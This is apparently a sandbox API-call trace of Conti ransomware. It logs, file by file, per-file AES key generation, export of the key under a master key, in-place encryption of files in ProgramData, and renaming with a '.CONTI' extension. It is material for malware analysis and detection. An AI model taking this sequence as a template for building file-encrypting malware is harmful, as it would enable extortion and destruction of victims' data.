	[0103.736] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.736] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.736] WriteFile (in: hFile=0x37c, lpBuffer=0x17d7fb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17d7fb4*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0103.738] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.738] ReadFile (in: hFile=0x37c, lpBuffer=0xee90000, nNumberOfBytesToRead=0x12e4a, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x12e4a, lpOverlapped=0x0) returned 1
	[0103.741] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x12e4a, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x12e50) returned 1
	[0103.741] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.741] WriteFile (in: hFile=0x37c, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x12e50, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x12e50, lpOverlapped=0x0) returned 1
	[0103.741] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.741] WriteFile (in: hFile=0x37c, lpBuffer=0x17d7fa8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17d7fa8*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0103.741] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.741] CloseHandle (hObject=0x37c) returned 1
	[0103.741] GetProcessHeap () returned 0x1720000
	[0103.742] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.742] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml"
	[0103.742] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.CONTI"
	[0103.742] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml.conti")) returned 1
	[0103.747] GetProcessHeap () returned 0x1720000
	[0103.747] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.747] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0103.747] GetProcessHeap () returned 0x1720000
	[0103.747] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e5908 | out: hHeap=0x1720000) returned 1
	[0103.747] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0103.747] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d6450 | out: phKey=0x17d6450*=0x17c85b0) returned 1
	[0103.747] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d6454, pdwDataLen=0x50ff91c | out: pbData=0x17d6454*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0103.748] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml")) returned 0x20
	[0103.758] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0103.759] GetLastError () returned 0x0
	[0103.759] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=174846) returned 1
	[0103.759] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2aafe
	[0103.759] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.759] SetEndOfFile (hFile=0x37c) returned 1
	[0103.759] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.759] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.759] WriteFile (in: hFile=0x37c, lpBuffer=0x17d6454*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17d6454*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0103.761] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.761] ReadFile (in: hFile=0x37c, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2aafe, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2aafe, lpOverlapped=0x0) returned 1
	[0103.765] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2aafe, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2ab00) returned 1
	[0103.765] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.765] WriteFile (in: hFile=0x37c, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2ab00, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2ab00, lpOverlapped=0x0) returned 1
	[0103.766] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.766] WriteFile (in: hFile=0x37c, lpBuffer=0x17d6448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17d6448*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0103.766] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.766] CloseHandle (hObject=0x37c) returned 1
	[0103.767] GetProcessHeap () returned 0x1720000
	[0103.767] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.767] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml"
	[0103.767] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.CONTI"
	[0103.767] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml.conti")) returned 1
	[0103.785] GetProcessHeap () returned 0x1720000
	[0103.786] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.786] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0103.786] GetProcessHeap () returned 0x1720000
	[0103.786] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e5c18 | out: hHeap=0x1720000) returned 1
	[0103.786] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0103.786] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d7d68 | out: phKey=0x17d7d68*=0x17c8470) returned 1
	[0103.786] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d7d6c, pdwDataLen=0x50ff91c | out: pbData=0x17d7d6c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0103.786] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml")) returned 0x20
	[0103.800] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4
	[0103.800] GetLastError () returned 0x0
	[0103.800] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=3304) returned 1
	[0103.800] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xce8
	[0103.800] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.800] SetEndOfFile (hFile=0x3b4) returned 1
	[0103.801] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.801] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.801] WriteFile (in: hFile=0x3b4, lpBuffer=0x17d7d6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17d7d6c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0103.802] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.802] ReadFile (in: hFile=0x3b4, lpBuffer=0xee90000, nNumberOfBytesToRead=0xce8, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0xce8, lpOverlapped=0x0) returned 1
	[0103.803] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0xce8, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0xcf0) returned 1
	[0103.803] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.803] WriteFile (in: hFile=0x3b4, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0xcf0, lpOverlapped=0x0) returned 1
	[0103.803] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.803] WriteFile (in: hFile=0x3b4, lpBuffer=0x17d7d60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17d7d60*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0103.803] SetFilePointer (in: hFile=0x3b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.803] CloseHandle (hObject=0x3b4) returned 1
	[0103.806] GetProcessHeap () returned 0x1720000
	[0103.806] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x18023e8
	[0103.807] lstrcpyW (in: lpString1=0x18023e8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml"
	[0103.807] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.CONTI"
	[0103.807] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\microsoft_office_officetelemetryagentfallback2016.xml.conti")) returned 1
	[0103.818] GetProcessHeap () returned 0x1720000
	[0103.818] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18023e8 | out: hHeap=0x1720000) returned 1
	[0103.818] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0103.818] GetProcessHeap () returned 0x1720000
	[0103.818] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e5f08 | out: hHeap=0x1720000) returned 1
	[0103.818] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0104.239] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d41f0 | out: phKey=0x17d41f0*=0x17c82f0) returned 1
	[0104.239] CryptExportKey (in: hKey=0x17c82f0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d41f4, pdwDataLen=0x50ff91c | out: pbData=0x17d41f4*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0104.240] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png")) returned 0x20
	[0104.245] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.245] GetLastError () returned 0x5
	[0104.245] CryptDestroyKey (hKey=0x17c82f0) returned 1
	[0104.245] GetProcessHeap () returned 0x1720000
	[0104.245] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d718 | out: hHeap=0x1720000) returned 1
	[0104.245] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0104.994] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d38d0 | out: phKey=0x17d38d0*=0x17c8270) returned 1
	[0104.994] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d38d4, pdwDataLen=0x50ff91c | out: pbData=0x17d38d4*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0104.995] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.cert.json")) returned 0x120
	[0104.995] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.cert.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.995] GetLastError () returned 0x5
	[0104.995] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0104.995] GetProcessHeap () returned 0x1720000
	[0104.995] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1733930 | out: hHeap=0x1720000) returned 1
	[0104.995] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0105.430] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d5b08 | out: phKey=0x17d5b08*=0x17c83b0) returned 1
	[0105.430] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5b0c, pdwDataLen=0x50ff91c | out: pbData=0x17d5b0c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0105.430] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml")) returned 0x20
	[0105.431] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.431] GetLastError () returned 0x5
	[0105.431] CryptDestroyKey (hKey=0x17c83b0) returned 1
	[0105.431] GetProcessHeap () returned 0x1720000
	[0105.431] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cc250 | out: hHeap=0x1720000) returned 1
	[0105.431] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0106.337] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d31f8 | out: phKey=0x17d31f8*=0x17c82b0) returned 1
	[0106.337] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d31fc, pdwDataLen=0x50ff91c | out: pbData=0x17d31fc*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0106.337] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" (normalized: "c:\\programdata\\microsoft\\office\\clicktorunpackagelocker")) returned 0x20
	[0106.338] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Office\\ClickToRunPackageLocker" (normalized: "c:\\programdata\\microsoft\\office\\clicktorunpackagelocker"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.338] GetLastError () returned 0x0
	[0106.338] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=0) returned 1
	[0106.338] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0106.338] CloseHandle (hObject=0x3a8) returned 1
	[0106.338] GetProcessHeap () returned 0x1720000
	[0106.338] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740a78 | out: hHeap=0x1720000) returned 1
	[0106.338] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0107.037] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d5b08 | out: phKey=0x17d5b08*=0x17c84f0) returned 1
	[0107.037] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5b0c, pdwDataLen=0x50ff91c | out: pbData=0x17d5b0c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0107.038] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml")) returned 0x20
	[0107.039] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.039] GetLastError () returned 0x0
	[0107.039] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=1284) returned 1
